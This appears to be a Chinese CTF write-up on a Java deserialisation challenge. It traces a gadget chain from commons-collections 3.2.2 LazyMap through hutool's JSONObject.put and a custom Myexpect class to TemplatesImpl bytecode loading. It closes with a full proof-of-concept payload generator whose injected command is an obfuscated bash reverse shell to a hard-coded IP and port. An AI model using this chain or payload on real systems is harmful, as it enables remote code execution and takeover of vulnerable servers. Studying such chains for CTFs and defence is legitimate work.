题目链接
源码分析
1、从附件中可以看到两个依赖,分别是common-colletions-3.2.2
和hutool-all-5.8.18
两个版本,首先能够想到的就是常规的CC
链子,需要注意的是这里使用的是CC3.2.2
,比我们漏洞百出的3.2.1
多了一个小版本,换上这个小版本对之前的东西进行复现发现会出现报错,原因是多了一个checkUnsafeSerialization
函数,对序列化的类进行了检查,禁止了以下一些类的序列化。
1 2 3 4 5 6 7 8
| WhileClosure CloneTransformer ForClosure InstantiateFactory InstantiateTransformer InvokerTransformer PrototypeCloneFactory PrototypeSerializationFactory
|
2、在看一下源码,只有两个类,一个是MyExpect
类,一个是Testapp
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| package com.app; import java.lang.reflect.Constructor; public class Myexpect extends Exception { private Class[] typeparam; private Object[] typearg; public Class getTargetclass() { return this.targetclass; } private Class targetclass; public String name; public String anyexcept; public void setTargetclass(Class targetclass) { this.targetclass = targetclass; } public Object[] getTypearg() { return this.typearg; } public void setTypearg(Object[] typearg) { this.typearg = typearg; } public Object getAnyexcept() throws Exception { Constructor con = this.targetclass.getConstructor(this.typeparam); return con.newInstance(this.typearg); } public void setAnyexcept(String anyexcept) { this.anyexcept = anyexcept; } public Class[] getTypeparam() { return this.typeparam; } public void setTypeparam(Class[] typeparam) { this.typeparam = typeparam; } public String getName() { return this.name; } public void setName(String name) { this.name = name; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package com.app;
import cn.hutool.http.ContentType; import cn.hutool.http.HttpUtil; import cn.hutool.http.server.HttpServerRequest; import cn.hutool.http.server.HttpServerResponse; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Base64;
public class Testapp { public static void main(String[] args) { HttpUtil.createServer(8888) .addAction("/", (request, response) -> { String bugstr = request.getParam("bugstr"); String result = ""; if (bugstr == null) { response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString()); } try { byte[] decode = Base64.getDecoder().decode(bugstr); ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode)); Object object = inputStream.readObject(); result = object.toString(); } catch (Exception e) { Myexpect myexpect = new Myexpect(); myexpect.setTypeparam(new Class[] { String.class }); myexpect.setTypearg((Object[])new String[] { e.toString() }); myexpect.setTargetclass(e.getClass()); try { result = myexpect.getAnyexcept().toString(); } catch (Exception ex) { result = ex.toString(); } } response.write(result, ContentType.TEXT_PLAIN.toString()); }).start(); } }
|
看到了getAnyexcept()
方法中存在类实例化的条件,这与某条CC链中,要使用InstantiateTransformer#transform
中的代码类似,很明显是作者故意给的。再看Web页面接收bugstr
参数,经过base64解码转化为对象流后直接进行了readObject
进行反序列化,因此这里肯定是要通过CC链+getAnyexcept()
来触发漏洞,但是怎么触发getAnyexcept()
呢?
这里出题人给了一个提示就是cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
,通过hutools
中的put
返回能够触发getAnyexcept
,可能就是与fastjson
触发get
函数有点相似
测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static void main(String[] args) throws Exception { JSONObject jsonObject = new JSONObject(); jsonObject.put("111", new Myexpect()); }
|
通过这里就可以串起整个CC
链子,可以通过getAnyexcept
实例化TrAXFilter
,接而触发templates
加载字节码触发RCE。
1 2 3 4 5 6 7 8
| public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
|
接下来的问题就是通过什么来触发cn.hutool.json.JSONObject.put
方法,在LazyMap
中,存在LazyMap#get
是可以触发map.put
方法来触发
1 2 3 4 5 6 7 8 9 10 11
|
public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } }
|
攻击利用
因此就可以用CC链串起来了。
1 2 3
| HashMap#readObject()->HashMap#hash()->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->LazyMap#get()->cn.hutool.json.JSONObject.put()->Myexpect#getAnyexcept()->TrAXFilter#constructor() ->TemplatesImpl#newTransformer() ->Runtime.exec
|
整个payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package com.app;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
import cn.hutool.json.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.util.Base64; import java.util.HashMap;
public class MyPOC { public static void main(String[] args) throws Exception { byte[] bytes = getTemplates(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "1"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); Myexpect myexpect = new Myexpect(); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypeparam(new Class[]{Templates.class}); myexpect.setTypearg(new Object[]{templates}); JSONObject jsonObject = new JSONObject(); ConstantTransformer transformer = new ConstantTransformer(1); LazyMap lazyMap = (LazyMap) LazyMap.decorate(jsonObject,transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap , "111"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry, "1"); jsonObject.remove("111"); setFieldValue(transformer,"iConstant",myexpect); byte[] serialize = serialize(hashMap); System.out.println(Base64.getEncoder().encodeToString(serialize));
}
public static byte[] serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); return byteArrayOutputStream.toByteArray(); }
public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("Test"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzQ0NDQgMD4mIDE=}|{base64,-d}|{bash,-i}\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } }
|